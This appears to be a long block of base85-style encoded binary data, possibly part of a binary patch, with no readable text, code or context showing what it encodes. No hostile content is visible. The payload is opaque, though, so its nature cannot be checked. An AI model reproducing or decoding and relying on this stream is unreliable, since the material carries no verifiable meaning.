z!4dOnyCzCiwA>!r(wN6q)O?lSt4F3Q>ka)hY`t|rVT+{3m0)hH%H#OF=FngGJp47g zC7==;MA%FWIUMuJ#b!vUJ|4Mu+OPYBBIE3Mh@hDP9b8>7d8lw*L6}+=B_-dZuj~#8 zTllA^aDqp@fy^LM3(Nc2aVe)(D1#1iQ|%-z^!fG%5gCz^@;7u3ex9{}% zL%XR!-ht)%+g{0oH2dh1jZMQo zu$Sc*Vg9pUmAc+3aHIBnloE>1sek^O+))CGkZ-jzF1hU|kLYEWGO#fl;*Si1fy!ce zxhDNHIwP0a-SJevz*|5KEn~w@DrfIrqxuG@EB+lTV#1&24JH1lJz;0~w zHp$ACK5IYQ^spgW_M1-Xo_Sea^eGp)rt4+V?uu$Pvo96(*Q<=<#^X}6c=b0BY5=^UXS)D*Gx9NHHf}k>`B2+m z#OgMi`;FT3YsP+RwTqKXj1-e`&X?N$^g%c2cJ#dCBOQ8pW8ou;0LENSRY^N7=^mzd zrCCC~)78b@^3VPMi-Uf#-q+5HGT z6GE=K^u_G7+a3H-c!X3b#1u9l|ea{w?Ajq+ylG38^a_QV~)27GeUZmPVHJwq_uj5JM_YYrb3&U<{)%!AeeWnu#xfeP`iFKew5B;+*j!JJVhLX3IT%&$qmeq$P z1caxyL*hJCQ-8G^=J5RZ=3>T{dNHXu@cV)dvG}dV{M~sTM-KF=B~4|Yy?L=pFurA{ zOr!8kpqZJ`#?Pn;%}uYV7vo+7;?eIC@23M#>dlF72o;2IlEySUd**w@WwtN=COlDo z(eSt_rI<-r@oB}XUDUux4d}8!?0W=md};Km;VT3ta>_{fxXHcEXXUcRifwz!8s zgTuNOGCy@+>Mj(n23mFvsI^b>y!##6YiXTD)}qWPKD)zf>bR%ViFEotTJd1^Wl~rG z?3vmh_W>I2u9CpZT{5*K%GQlqGi(-Jk!pLzv2s4)p97b@J0{QJ4viQ_8KU^__ZxSD zEacr%Mkipnof(JCB?^eKS*1ix`dS@ay1XM^s>KKd=g5qKcn=c_1~YiDD3*Jh<4CvGgL`xcEW zGBYQ5<9?s8q^Pn?nKAd#e02uHILjsRK3 z@YnG3V+*D$qY=!0nrIt6C*}=!As}45LIpC=K5+fn~atrz?YgB zsu$gxHFJAbl$JjG)W&a01=J-jt-=_`vrSerLCwH1P$u!`^C7*g3jt<3_3@c_7Py8x zJsnSqu9=DiX58YmJBHn>X3Zu>M3;^ip!T z@5p$!)~7*&f$%XH=sqw0kJw*mGWNYhGakL?h{x z(O+z>t0_-M1ym?7z-A&pCH2Op;k=a@-b|LQeUg^Daw%Km0!?XI?^wk}F$0$_|EMW^Y_E(Z?%^;ujsX#x#*~f+!APi}2BGEtiH^;D z4hXV7?Plxoentdyut(L@+)V$Q+2$9_8%b4vMTC;Za-e?w`<{Daj?zy}si(Bg$W1N;TAzkr~@FO@8U`(EVx7rgs-+s>a2cd-0WrrRw~!7ng{1JN`r9GxoRHcUlem)bvEpz20g+LqQ%8he9+`t%SvoiL)dAK@4_8)|-Xl{*!2>f|r=~JP8obR&Ser#gXM=TKeer^E`O=1l{ z534(8HR77syO=CA7xVfS?V~ZNy(~idh^2v&vz%vcY&EXZX^9G(2lXN^&q*S=4MC@? zs{NYI-8h&7^Q3&GOzIsiM&%x=ePaBycd<%iZzf^K?_RN|f5aXtIgcIwx(1Eniu4Sf z&=~~;^CnVfa5t%WsBze64`&!YN)h?@MA|g3I36R|Gf1#*ywh&XX%P1>z2E{_(ekrN z5guuFDMJEp-nP0z6{E>3${myvg(sUVr>(tWkV9>*LPe=v>Dd*#FGg&a_)>M8au+AdCDLiJB`wESHbukH_v z+=xsYYOxWX32L#aq+-?wkA(Hx9|>awJraIE_DcA{Bek;s|0k`XW&E3u;3<^W;XcOk zu$ac>yKCSYV5RCb>^sjT$*k^~J*<+vv+MVm6y!`75k0bZzVwaekmgekEf{wTdcmKZ zXn+_)84_MI>|?CJjvPRHPVif_Lf~5d_r~0O7J`@lBskIw64i}zfdnn z3tMDtKd|zEzx&!q>`nAr?!7x^gjJ%u#fHNl`98`Oi__T^=om8(q~MxAOXn8tprpDn z89Ij_TeFs+dm*i%9KW}wS%HedI+13-W-NNMM0HH6A}9QSL?!%gH?@#8kP}EXY$qO8 z-tFzEOX_4*{kY?zVln!YL0qO1-y1S8%p;Kxo>GIon z&U4OlzW2P}_s{U#d$z1$&vvc*T36g-W+~!V8eX|xDX_`AC~)~rp6x+-cnx+;4L70w z>t#V0!*)zhML5Q`7lQS3`cr~^&qRo5$IKYdFKe{BII=s%*3fdm0kFC?ax1(*Jlb}T z`*`jP6+^@p&5WENXD%@4^CCKOKMZ_wKQtyyKQ!`6Bj9W83HfuX>Q;QdwI8f0TE(2w zc|wq$&drGNP*Z-Ro{3D;FwARF6{o)qg3PU%m*<^<&Y+?C_OK>%@O+Gp_?1{zJ=Nam*MH?>4Od>pc zJiUd`yp3U(sHCAvq1o6)`^HtP?mtIjkr~g?(_h@|R7X!k79>nCB?fE#^6}5^@QA1H zI4#SLo0Tn}q)@Sv8z@bi7$!rPG{r>2n*AIm&=|9Gikxh)EGjX^g}=Le)~HU3=VA97 zu^9Nb6tBfvYnYzM!PP=+cFAgH+-!N8EK7&>p|DxH3_pvf#&xBpCmsQ5iW! zJ$GQ4W-9x!laZKEiR26}X89Ldld%~mScPz%to6f#;bqp&1t2nnhEWQ=Mo;Sdg+=xr zm3e=>rSU?4q@-gdd`$^HY`mHslW4G`+r2z}!K3QF`jxo0F(c?COGATXX7!WOBA)MgCzp^F9mvqiMBUZoQ-ECX-Re>EOT`pmm@^ zmCkE0gX@8Ic2dKa@7%)vzzg(Z=) z&nf@TmYpzt2(T|UES9>=%=ynJVUiG{WOkK2DtFe_U6I@*aix6M#tg4?0hP|@%n~b! z#8~Cg1}HkFKTq{3yyg{M1!BHaK!_ zfVi6fS7ZLOq}a>m#r@%Uu}T-ZB#-+)IoD+QLoQ0Egx@sIWz6(IEA2-ykW^8 z)=#sU*j#g;+?;J*=f{XfC2!$(`<&!3e4WW6P7e%QzckAFg3i+|Ai>&#lVY|Gd4C}S^#hO&o009BA|bwHWz zreTMXyeKPK_EQom*^A2hnqfO$B%Jnw6G$Vc1F9e2=a!lC&e)by1NjH^74#yTi9-4d z1)DwNJm?N#LR#h_rVaV{Z@BwUk)Bd)Et;*kO4DkJYF!#)LSLuZq^W{5Q?XHDx^A+lAVwDRCINrLLbfQAI3upCBW1^nJG%0!&3 zV{<3SuK@-1F3h*4Ka5+aFC|8>Ev$SUr7MxlHG*3KK|L~BF-6e=%joV~<*HM4rS27t zP*(G{;^_>FZi~*t$jaGH=kt3vk{jX!wR2&qmiZ{rW+Ji?03CUJUdde42+B_Hc^8(M zp;@Fz?dLi<&DEtuSUq;ng>1iH3qmdqgROZytS<7$mC9MdABmpgZhw>Db)22_C=R z4N%wDYke|UtvS{!f*CcElX8Anw1>6Bm~c99IGOtdofe z70J2GAex{m9xhET_;$E(?5rJb`+ce=By7yS#DI(S|82pTc#$H}2*ss|iq4L^WUrY9t@Y$keIiiH#4T#5OT= z+QFTyYoGuZiqD7iUF^&yrG_tFdgwVUEIy$kPR4HWoGALo2_c3fL8!?3Qag)LKJQfd`jZUz znR;ndHaI1}e0lAcwk+c&IB@!&Q@$rKo`-1i1DbXiUDnu${btk4&5$Fti8znvkXvH3 zqC|zHmXoUAaF@JT4g35`hl%KzRDF)Jpp&+8*(x3Bkmc z}FScFN2Fe_u5ZvEV*>t+0J~HXv**+?5dw1%uU+0gRVVw~L;Wo=IW-Cd z-nyP*RvuAKaqzntlr+rk(zS(MBm`Q;I_6T(LF<>Km`ZHM>4GU<)=NrlM!RsH5uPKF zo8b^$>`%n+pik{_nq0inFxoP6p(oWZI1sQgyzq=`!_qQhs9DK=s3*C1>}`FtvHDVW zowLL*Q#B`;3)(C6NAv|$APv9NBj)co5}&OostQP_?3uwm7v71MfRIswjZhkO)a>Pu zRe)AoAy#_cJmc)4YkXi#;&|*Y+?gh1VT#-t=+C8pezUEV-YuqosxpZ9WM+u(0OKhy zLe9!HdY^@|YAEXy_y)UK?}D1M{9Mw5mmFKpX+Fj&mNUWLJ^SaP;lOQiy^{vdo7>HQ zY9b{WtImfA=ZgaS*z0D$;Zl5-gRk15!9MpLq3I7`Af;*jNyzsHjO}6-16sj$FSU5r zj|;{@l@sa*Th>Z-;o)3QUI-_EgJ`;_QATG*J9`yAvI42c!WdxC%Xl5yU8X3 zJggv)5@vtW?pL;wsx57XDjoPFB;M^`ke}I@Tpoa1Y|5~Wn;d4g1zB}LcL7r*U%@#g zG{TA9x?^B_Y;G+jDCs13yLZ1mMJ{aD_I9FBPzef^lpX|UcV}DOe_${$zERv{ub9L2 z?#Vu!-D_A{^->SG5UhI!lB?z(p1A2V(RL9e@hef53mk6!I8B>brWoiNaW_eY z%E#2&SSFea*eh);SeuX1UXA7qV|HEUtzPG4#=;3~uEe)m&O|L?Iq)yFTP>>>C03J^ zr%bmqKz)R3wVA)qzcVvqFmd4(qXvD1V{0~-pLq&?7?)lDxxqbZzb-G{dR{!&?DMRb zA>W2lM_5IZNSivkvG;*7W8Q&nssh3G25;e3aO`0`{E6Tt7Haa1!5g0)2G;G8hkgUD ziyw&Hm0_`VMf?nP%Az7-9=f|1thuUE4}Mt>mXCHsMq766W{%3%Ks9C&cdC&lckua7 zlObzL^J3Qfl|9Dv3-9G!2)hM9YO5qj<{MXTZ;b@LU%cUg)l9H?Mf81xytMGf;}mCn z#X{vUisxlIX=F<=+HEOgTkQTle^-8WK`yk-oGs(-P40;EM{~lxYd5MojHN!lWE{f zX>UVmxLa^a@mxJ*@iol~m641TO1gs%vTE;mMg0|$&QB~}l?RTTmo7(kCmJcoz6)`0j!Ae?Em*rbmM~{4+FKfHD55VY^Ib^`)AUniatOpaED2a<;BKr6jh9u zK$To`g_Va99V0vxo=&j73SE!N(yWBEyzi5ShesVkU>bhHvt;k_ZWb+M#j(JPpEeh` zC@@?zh6?%YJnOSxT$|oXX#{{^`IN#l3AR$nWLDWySddp5%>6WA;OQ{Q043EtY z&l#y>1DAtR=@)T*#8R?$Wv89~a4I($`!7%pp~a7^VwKgRns_A6x;G`SQZ==7#TDK1 zGm=g;PNo(y)qfdPW@FqxcXcJ(!|gA#LOg)44V#H9JZUI1B!?`r1cg4(lS(hKkQjQf?Q0kHiOAY? zn#NI*roNRI`H-_dW3YMccN+QFANY5jbHP5t$blQ`J;;3!AZu#Y7ax#7QJYBW|{!*M6`0C8Y#cAD`LP zY?`%Nk9)#jZZwzdF?ugIP7-|~p;Q}R*+*=X*Rd+f%w6gO=l)fY@*u1jY`J00o^1UJ z74vM7bqX5~W{r)MIp56jR22Plg-YiboO#WiLRiiM$cQ-{Cl4S4_k39QAGVZXEj6gs zipknsj90yJeftOOL$$@1 z(O$vN{^%gHzOU}8;yPWudf}&Q3V->P?fvRLJwK4D^)LY@%}W4q{j_(AvTr~t zlUGr_2_>T%WwD=%O)V*M>K|=-fbnD}vn~@@02{Ip4 zn>QIip+VEPEvb=d%O#brdDw&Gn{j1!t zRYKBF7{^3u@LuKz#+9Y%2O1wOj^)z=tJL^2&(Dv{m#5`MMtRP~Xc^tHEmZM1f?~&u za*}lqa4tCKMn^BGtCUtfI0<7d&|(`Kl}>Av7iRu4PYB~7;c3hKYqBL6unm%Kv%Z@B z1@M9T-f$^!EvUzR1h8~a-AORO5Tet70=+2hWo+ahqRSZDq8`+L!%0idI8aMRe9ok< zB)&OUMv^I@99^Z(o_)InP0vfq3Np8%+l);!*C%^19y`&8XeUODE|r~&-$bL^$NF}g z5N()7@>Aeh`fBNMVKAi8(kpIZ;G29+MK!aqxUVrg%ICx9Iw8bvk>S(fYY?{vd^EtPCueDb3}u)7AXGhYY^s-ElZ4rX z_(N(c%Ql>_K2@ZyWU3GRaoJ7l`pqSjUQJc0A4<@4tPwLQt`ZJ|D;VboLvr!+5n) z3tHpFG6hS;&Yeqk=alRtF7HmA@F@KaH;JUxmkvK1qQDngNB!i&yn(J2eFZr=ZKgOI z>Qxu?Nj^L``sF%#B>=xr85P#+{nq+?x1}aMMX_@`&FKr+pl-Y7yGGWE;vk3GM>vJ$ zi{$j;MZF%LFg{2DkD5fth|drRn2hiRkX8m9Jw{4`hU~$6={P4~?V!&2H|#|sz`T;Y zqhyQh=J6V9-_`(|SbsD;6LLrc4G3^KZRgA+f{-L7cS%e$kE5<64fTSpFAfn&yr;_a%a=6LsQE{?s)|qhlXjV3E^4C z)cxlYKM)#e=HB-&DV~l~>M8Gg4ED%H^gUJXrpt&Elpfw*tm`jV$sh28ZtdW$RH%ME zJxH}dxLRrasn4T@o~7f#b~~+GWkS388&0;aq`0LQR+Q}Sh?{{HRq0}*KQG%`nT?&L z$E>5JM2Hi8FoUvhsN$+5s^?IGNxj0Q2jl(hM7T(qV^7JQ(q7tm_eSRsW2)u5y%*m1rxps zD_9W4<7>t3)ri^t+NZqIyek~20sPc(!Mu9`^^~bdUoMHemX{UL2~VUGVvB@a;$AtbZ&80Lif*+71$?cfjkXg6RLlqV<+u)CJ=9&61U z_nA{Q7}2`-1=`W2?W=V?#2P?Ytc*b7S`P+$jA?TQx5Amwl|6@TAPGJv*iph?5)`?H za(^Trd~5is=#34xbO-VKaYF*$`vvTaPRX1)p+r%&LIVfTUKEvi3h-i;pt}c@s{bSu z{tL(Oc&Z_>lk6@OR({j40>xNAH->2_J;bb7-ijXsxlOM;tRBi-FZ`|=v~CZx?-^UC zO(!kcA1LoB@Y+y6-OxT@_LHm%B_>a#O{xkjRO|2p1R>jY_qR&u65=7~{ezhodp}*pAl4}1=_vM1_aYKcH zlusvoKvjPA7lLQZ&0o)B#eGnF^)4z{Qz{3=iC%9KXhrd!V==oQulL_hdd(aw zygY4QMBFS%GcD?zCp8~3@^PW*Tlv){L5AIv(`6ZO5Jnh+Kg4LW;*bW*FB#rT(!mov zvXa0{mU=rtowYH>aBcXxoBxm()lux6@u1J_%>sN?`>r)j;sdVwH`7}o_qY$WhKJLm zorR&lmbfhlh>k)^GyKr#O8!7K$HOJj{tJM~D>8i;yy{X>NwAoAdB9oW?JlogYV?VL z0rDEvk^A@)m&~q-pVvY&F)J48Ol?irCuFbl=~{rlg(v@aMK zKIjDF62H>#NU*UN?klSu7SI5?cOvl2keY&eK0}ge0a!&Tvi`P|{=XiE3X+NoouG@F z${J0YS2I$oD5qf=wcCW?8!-YTw=3owbo-WZA>n+se9#hZ7u5RAm496dcF2W$4PHG9 zw;VN7^q^M!hI(3>_9E$rKsiwIc-D>Z@%(|LaLIffED{^;>;@lY7KO9lB$(DnTD zu?WU?ljfEF)i!dKUvh58O7n-4=N?^ZKksm%$x6q(fR?3|V-s$E&hLO*(Gh z)Ix_Zm%@JP@byzxY-$+SfNrJc>$YYB+atST&fj~|AFJ2lbh1m<$*enJ3rkOV6@Pb; zo2OP^(2$&w+_NUdbHRzv*%RV{tw? z`DTGTJ3Ul4y;dJeK2PM%R)U}||D~VlC!#&vo~P$CSX^xqj|idN7tG=GmoW*BpX+@| z&3fGYtz2r>wHB|xE9r3pN%^A<4cqFqG+o@ZEBg4|R96`nU`_EXz zO`K5DSsuWu$0M2UuEgs7DcHX;H#{}=85eQ0yx&dVBf%j$mp3TkZ+-Aay8&plWlyC%k&%TA`Pl!U$~zR_|7u-Z2A(`|dFzHOsOBlKK>Z5WS}Nkovm9(_A*b zK61 zmzu;QebX%SqO$p)d{B9g53&ysG-sg-xuvahW}gImJ{>|9@3&${3AbxI{s&O#0h52( zh?0;}0U=gOGV!shW%!{NQvI7Ze?`vsY!yx5nNmij(ecmDzSWGut38*#>OJLoF%EU5 z&V|j^To^G_{*d3E$nIDyJB>caFE=H0gU5r^T4N~|@iP{je=v0)79MnK;~XBeR-6^I zMaqi%G$*GY!Ox(Bwa{Sf5r+j}4JRii5>;sNZ0fZyF$UKH^*m2e70}A1)IHYX%d7>XJ*>DS@mUYUCQGag@q3-SnKMLR^j^Pc;-zKT?F6{aC+haTokUB* z-j~?Pl^txZquVxVvwC%>8k4J4ll`5m3#7=h^F(ZDJlAcdmiFjuZ#4*Jvkom*v2uGx zoZ>iW#t50yZH-1ImGDn&ku$q?!=)#~+`qoYKv}Y?c#6%OUue=AE^A5`{{2I9mo?1X z{1r#P2g<1%(!&#foCK|fyM*$$E-LdX#RmAC5Ig>_!xU3fNBE;|!8ns01STZ$jkVJ3 zrJ2FhoM_I%f(!d+j=>T;2s^u3tnSwK6}oX5a4a6yu;_LRdIgJX+{@u?$Lzd-MkyY;q$Qa#ID&K!MVQ1@cawBu977%73=R{E$X6lbLx{jT7P|GEZM{3mPwl>sYXf?N?_F+Y> z2}{ z)v+fpf5f8F+Y2C++AW2YmKEpw2^8UrI4*Li)?`B!ke&AU?bw1$<{B+61%i7qG*#)6 z#)K7XTT*=)_nDZN08}w`@NQ1Y!|H@sh(Fo$E9@(oIm6J0)ySuk)y{NZ@#~bf%PovM zgxs-NkX=0x(xk1{Sn+2A&jf1>QggrBghd}X|T=e5hrCl8WKz!F{1>Jom zM$X^3qqDfZAcF;xLQpNE-FjwyD9 zj3{s^h0wTLN!!;Pa_ch#f^m5W(6FN6rPO(YMxHle;{|TG&ef9WMPk3>(?n64qaqa> zK2>jrH6r;@n$Hmagmu`t#L=}yto!Dg|BxD%V3T%eW_TT#u> zWHuBcs29D8`RjcEsyr9Y1@fT&j1=3tvmu)L)lUQ8}=*z+4Ep6bqROn<9i68@&W6~3p zRT6CE&ER_J%T{q${+`}t`qG7m@Rok)#99wt*$~>ewJwI1*UR5@4%TNl_NWFxgxBgw&)1luZdfiEm%@yH z!*m|?3n^pfd2a{DNh!A?{1#{ z4}7MhitCjxjpICojtq}@?hwwyuKkaH!y#SNj){hK+y_iOwdy+LB4bMm%aee*PV(xBBEq`#7xoCXC>5IhYHv9oa7w?H6-F`_%?rt)gv<$ivdo(fy4o7-vi)=o zHK*KD#>7D7sGL$DH2n2;N0$J4IC^V3XESZ_ou?CqM?-Ug{WX7v{@YJbyKC)?PR+5$ z)1s30N_0;tl#(>R#&2uKKac{WjDy+UTmoCO*=uD7HbrqCZ;cAW1a{FPqd?@6^SbZ9 zB$*RAkGI3m7RjGYa0=4BTqLNEev4*@obybggLphw@!xc;M0drFrw(>;M)?&T z_(&rDGJMKKjXv7|R?~Cgq>HG~wKC%r`BuUFm@7#VO&~tZN1E{<`NW{>wt6jel}~bN zQu1BJa-`)^QxrTGa>j7+wXuWLBji zx`JTaUGv_vZTuxv z;baqyxJ>9b#tz+{oH)4XnUvxF7$A_Pv5Uv00Y4#h_Nbym7d353fuUM?Xvsb1 zW0@9y-A;D(dzJSXe}yQP_g&uCKueI|z}V~-cb@N9@4I1go-$Q=d9-J#YMV4r1)Gmy zgW`s#XHXD&_jd~N3Og}g-{ZKj&ee`y&{tI&f`lpuyX%N^7fqitbLjR%%8UW6=#o>k1So`*>ICa7s}7t5}TFYNAFn3@;-E^ z#Pq2+0sK9M)1(lOlFJGWKm=((P7K$@+J?8uvP$N~Kg*Qo%Aua7I45D*5ljod$eo=S zgz~<@43U>m?{$7BFPwd@jU(aT$DFRbYb=BT0xO!J;8A{0E_WK=+qU3U1^vWCR2j7{ z4H4=-$o~$Jz{=wtntq`sd2|3uq&#n|awb8<@cr79i5O-*vDU?6hC4G@@$P+Kuqx?K zo~171uD6tj-MZw-Ni{nut7}d@SN9l70@IrwgX8`hTTo;7#Te1#iO)u zRZPu=g~0rR?#Ldi(&ASYQVTp0@)L$^SHOuNs&>}5+H;(n346r=j$1&l?WwVsvUFeO zsBI}FT_Z>A_)`bWAV=P$8nSh{s%ur_3w!Q0AT;q5}?bw zMsob6(*tY%7ao6Pn`N=41TyAPVoof^BG1D)4WxeV6?{nXuK8@`^M9hA@2{(q!h?U0@lkBJ`jEQDt-=t{EmFMTsM*hRt!?^y&>Dr-`^vOtu#b%BSeN1}F4S$8l2S-ZhtqAR z%s0NvZ1kKi55}@u9-t-|YG)ZuW3#Y}q)RcgQ8`$OpOAGPv!(S_n`3!mC9k{?l|0dc zJI`wpSr*G=X8xgu(m6lh?T%t|UBHdA1X41qq`R{s5(_0L^CCw<>*2J`S# z9pZOHaT)LqI%d{r9l5#uI|}`*Z1YV#Ud5s?0DVn=`GdZ)0AHru_XN6Z@W3h@hObLD z)c?ets?)_=gCjJj) z6N}$c9M_8(PADC0Y=?_vo3&sqsb2eK?h(C5;MoEX!Kw@IzWisEiGri2Zt2mBW!oL$ zsglRKZaGhpOOd`gSM{lGOh8gV>D=h@#RcKh_B4yv)R+=aeQ=-X=T`5#cv2Y|?Pz+v z%=3sCP%*V}!7nqEtBdD~B=4RV+jr)>_}bSKe-Y{h4rM0HnAQQ^h*6dy!zlP^XNA41fb=DTLZOH5RYpdvBr0HIBmTKS8`dWu z)=#=Y`hlNWb+$wHAxyfTayv1N&OALxx-YUA!*Lon;=Iv^IT+{TaKzX`SmEax{_@nq zO}M!NzL-}u3q=JDv|)AK@J{lGF=~Fa7Fn6lY&-=!i2{NcnGmRS&1SBuP*5GktIgwg zVmMYw8{>kEa^c|hZy%UH|CASzF|9gXSII1lBe&9DT~2(%PnIH8uMe2&D<9~1dccz{5b4! zB^`a{5+IyER-XUW;DUtUm%7hK)+FIFOsULsjQgwal0a`i2RXB&*}vliY+ ztFi)wg>!x-sJNzWYU_u!`g$f5F-5d+C{=wQcS=6p{OUIx29nQ);lrGA(J}|0o>aRv zPcVAJZ@AvB`-)IqqMw&|651@>26j6CB6)r!3j6^Dk7Z{V3cH_Sli1rmVi&)Z=h=?_ z-;v+Fk$lcaoGQgS%dtz8>|#=hPJNFE$xH?2-LB(*Nhtd`5K+a7{JnDjg3< z=6&G-j1|Z8XDk3O{5gCadj8MQ-zl%+lUBN~fT90B*nbO3L6_p|dd5w8CCtJCV68i<@k+k}$fy`$fKbs8ycP4*FTOul zdWc`KtTLqeihCV(7NGbO-&A9q?ARvdz!cc?`iHlwv03~9v+ed90ABW`eb!iQ8D_WF zeVqZ!p$K$U0DNA^iQP>+a|foimWw(j6_$Gg-;=d|W<(sh@99bmPLbyj>tyO6)x803 zQaEsv{@j*V|8bLmqxp=wh&$Ot=?B{G|KFe9`#^2>U#?3eFabS5DoMbMY&TBeMP-L| z86oFbqVccCOIQ-LC)ZB7>RCcD{ySt96WzQ4yFszJsdc$iH z(JHqidiB=DSFE~;)34@&qg6YY=i!~jJ&S>G%2)Vh((`c@Vs&&b`hJA4|u(vy3W(xxqg=1z3(YLfcA|fEgZIDhH{^7UHBXB`j5{_ zVA#d}L7`TCCH9YkZWd6`=>dzTh0)^^`=3AwXlAaZ$b1Lzj2Go~3a7&VG-EN$;NO@? zz#iRLS`t34gb$QExNq)JbiL)~0j;77xOIW`{NE5MXr&rfRks<^wjOxqOwHPxAOO&C z6wLpi!2k^O;G#dP?e?%0e2cMrdL4Lt&+nmUA@F$o1Zn^i?fUhk$cyX&caI=$BY70n zg~YhM_=_w=_N53jnDc<;bxmJvVd!SF3Gs9*1&MjT)liN3P*TJja70fUw+fxD?1c1* zNXoQsY(rU-&Y?7?Dt5A3ypW_6|43#3LfmS)y~TN0-A4q;=hWnvv~xtKuN|^ERo!yF znVo2$I`_h41k2RLxNLwfKFK>#+p61I&C0H^D@hFV3$2-4_bZC=Ui4%UZ+oTI4c>So zwmo5pD9JN31KFxypM2tzs|ah*b5+22-OM7iIPQSW6NTvoX~ng!ozOV&o-mxdK<3Zu zw%ZH(f#e^T?A_IVU0(Y=9UMVs4#NEm=6SigXRRC)=Zkq-AI{&}haeo5rg?0d@M^x4 z0gc=@>(3m6k#cce4TeSz@ML}IrHWEJ< z_Nu>9+9;+R6hc=i)I+Jy`%I(r(~Zmcx|-7w{?g#SyZ)LWPE<7dE#!c4-K(W{C*0xC zl6Z)0#NKvKs~-&``$Gq1O5>KckdtFWhKb|lc8SIE;wn}Vl)vOnM&N~4vs(B^4X!H9 z7xzLl$hu*DH7&FC9xCq(Sb5#4&Z%E>&L_STsOk{9@#SXdIoC2(-KDKLSKLb1lMQ5c zUiy$dpq2*&OVpmIO-v(ZD(9r)|))AEXX&Q(^o1XDp1_Dw|zHkof@BP)z(<}9RTs$h7zeb_X?_5sD z2DLpace|D?1RHG>4lYL!VGG7fXy_RRCKr7xazzrvJ1~Iz6A)4HGKJeI0=t_XmCe>N zcUxxT>vM;?=!^IXMKQ(aG7V~tz!S{;-|VIabRq;cn6PTlNcrI-Do`d0fl2_5&ng%h z#<3niI-#B<{yMf?XUdH!gTD@rC?imxCz{oa=(>5c_t7&V+7Og-PoXVk@KW@%vG1nD zbPp+ia7_avTYnC?#q?>Js#CqNybAG^95E5N*jHpd{sb)N>|~2rru?QZvKS5(OD{dk zg($4Qm#2240%u1Ja$fJ4N0aciN+hb1{wSg_LNMz^=^m4{@L*w*gvz>S%$B28Z@1pF z%tYqfu5wpDL93UX?LxRB=bA%J$mRX?osB5p={H0S`403!C^uAZv9k8ay3gUb52quq zy9_D?@!{1}4=VWcuccU_6{;1Rgq!$0maBF_+wRy|iTM2TWaUAV%|0~!YU@|3rH+|h zUmW5_yXjav7+zjhu64A}&FOjvOdbowIZSXN&82{t1#&F>ht5>E1>f`}u|6oBJ$c__ zVJ((r(p(ZJ2YK2>8X@lV;It z@Fq3|%f-PJB_Sc@_=qI| zUuY8{r8^P{C69h5nbv-gn^7lNc|Hea36FGibQW_%;%;UVrM+7{!DWA-s8c{{olwhO z(AK=pq(X-605q_Qn}kKu5Lh+1@SF={%q#9f>*RA35tPoyAzUCC)$=#psNGJmiSXAO z?;}DeA2HM=de71o!|ZNjZM6y5OICg@7j6{9b0UD^TUgsWj{})dPMbW%NSa>|$+mjW zlQ22v2~a`Lg|7D$K}F^O8sSS?NP7)ek7_AgAV}buBni)$A~|W1Yf%{;Dc*qvP(j|T zRKQt!Fosit`bjjv1O=~8tDr4m;)VYxxjjC9XRQ}H2Ct^f0vowb^A6Pmh@gvmnRyR7 zU2k4Y<~9-1Mq~m|@51|8l}V9P64JvoIRYgL=K=DSLS=>mhMFeq@6&4UK^mT=;DHl8 z;;Mf61C5*mY*SIw_E(Xw+`ez#U(wKp{#ey2XX;R$R%%A{T24=UQItyd4D0TRh=hh* zz$}7zmP;$W+2Bbr_GkS#xhgX2HBqlYBnYb;&~oNh7UQ_Det}YWZ;uJ|{KGN_r7c%_ z$bKk`2l2vQoL$UsINvM0NwLbvXP+p2T4fW2o?FO&L)3kr`X<4}G7rbyJV?I|{V*85 zhy&qtd(PjZl-rAOJCmJ#tE^(0U%ndit*ysr{7Gg{4Hc=1btj1*to=; zYX|PTNsP8(isx2n$AZJsOc^PyGe}akwV@Sm5 zWwgpqv;5ZdOOW%l0{&24b%DF5G^XUkiUa5I7>mV%jylkGw%o)oTGfXB`wgK=4ob^OFSGuwkxMuXEtAPsh|oE9saNFWU_ zoL&U6nMlZ3*3|K~A#`X-BzYO%@e227HUIUA5`4_k!~ zCyZOy{)X_db&+$$Nyq&S=Q6+GR!P^5W!h?tkeHL@`smYq=C**R7d zku&|^H)%)l_sx^f*yk4vJA}DxI2I#y6S~qY`f1%1tytdhNbg6;rXZ$CAJJ9z+Hk2q zlazw1!(b<#hCD?oJP|$|By~g{YZ8D{o0`*UT&ej${w1BQ5!Ec>Rap^`2+?M_&!cNt z9n~^ae__MMlk?W`jB$7RpET6`BMrrjQY84mp#WjcKl?XI^2$cA-1vDK>s1_oVW+DW z`9p&t!f$L(I0GC1k*DG*u#!I0{0sUX$KhBs$RqQwQ{H^HC>cyJ*>~M+R?wI_iGIIr6OBTRes|Y^{?W1Me^XTLtH? zA*jk(1QfSn6OR?{-)G{#e~5p|vY5&(bS&iNx4VozWb`j;zP>2)G+Yr8&j!Kl;blr$ z?aZf2eRZt~MzMoU7dS1ObiDB-Pp|CEQ)H!>MyT3;!xeUW5F`UY?XSU^mgvk6y5B_*Tdc ze?7&E&m5d8v(4P0*)U@K*~v`D!doURvGSCEyxL{5qpl^kEdL8qO0swf>t^eci*3GH z6a7QMA3CH!D{=&wFb@X-=7#>!B{NMi4gOzBe1`4i+Wbc);YHnlRQQ6ICIAgJ?Fuc? z9NRPW8TLXjZJ+$vx7m{TfVl>4`>Vo#{f7iuv8^4tS0VuN6e4qS-~>9Dt$@2p@eidP z@-N)Av$2QSIZ}rxiC`U{-ST{^ZQ8D%cja~0C8EcZQ~vnuL)%kR24c|NjaHB( z7gX0$QicUkrz17?h}b&c`zV_SlUPM0~*VJ|I; zf$)6Wo@&)+lVXeF2Nns-(Xkacb(Y(xstQU^(CF}=1m z8)K4sFkSf7V&bpEm9r(gG3V_@TGF=Q4D}kS(DMFI$P9!}q7kPx&8i9m?uyldOpIk8 z3Y7z|U!28h1+x9zHV(5fyTmF?y$mTGVAW}`kzr95FDJ(^o^LY+i9xq#CJtu$Re+-S zXhg7MN#!ly0HyC3_JlNIm|4}saBX-^%cChHI)`&gT0H-+9u~sLSN1{(Hw$xhMk#`G zX+shL2Y1ZLjp{XXL9Z@=P5N2_suRpMlw(p?hOkf3MB3bHM{Y+FbLmDN!gE0bfL83z z=+pdbZ;BAZpOIYo*(#0ZY#-n1sE(B>j?K;bpmyx|jWYE9SiFiVQ?l#}oyqyut zFoT`3Pv%hd(P2@5mD!W~T^AUKNXt2E~0pdu-yA@JLhdvi{tg3*(A9m-?iWM2JUU+U+4pVN~L?{SV{DD@2iD=~n1 z%-~se9bWR0BU!@sg-v?q6MOp9cKx3gojv^cWFY7XQ$(1grS^8rjiU2Yu<_GbV_hdZ zUNpoUCQ%nLtWqXk_d1(zM{DWNaFmT|*!pLsIDfU(e78jWwg6D}-U&3D&rdM92 z^|l7p68Rl{+lx6;GHEvn%$)4K(i!Ons&}*7NiLLS%I#!3XbjgEsVAU_zKH%a#rZHf 